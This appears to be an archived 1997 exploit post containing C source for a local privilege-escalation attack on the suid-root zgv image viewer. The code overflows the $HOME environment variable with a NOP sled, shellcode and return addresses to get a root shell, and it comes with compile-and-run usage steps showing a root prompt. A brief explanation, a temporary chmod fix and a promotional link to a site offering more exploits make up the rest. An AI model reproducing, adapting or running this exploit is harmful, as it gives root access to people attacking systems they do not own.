zgv $HOME overflow

1997-06-20 00:00:00

/*
*
* zgv exploit coded by BeastMaster V on June 20, 1997
*
* USAGE:
* For some strage reason, the filename length of this
* particular exploit must me one character long, otherwise you
* will be drop into a normal unpriviledged shell. Go Figure....
*
* $ cp zgv_exploit.c n.c
* $ cc -o n n.c
* $ ./n
* Oak driver: Unknown chipset (id = 0)
* bash#
*
* EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
* TEMPORARY FIX: chmod u-s /usr/bin/zgv
* NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
* DISCLAIMER: Please use this in a responsible manner.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";

char *get_sp() {
asm("movl %esp,%eax");
}

#define bufsize 4096
char buffer[bufsize];

main() {
int i;

for (i = 0; i < bufsize - 4; i += 4)
*(char **)&buffer[i] = get_sp() -4675;

memset(buffer, 0x90, 512);
memcpy(&buffer[512], shellcode, strlen(shellcode));

buffer[bufsize - 1] = 0;

setenv("HOME", buffer, 1);

execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}

//

Fixes

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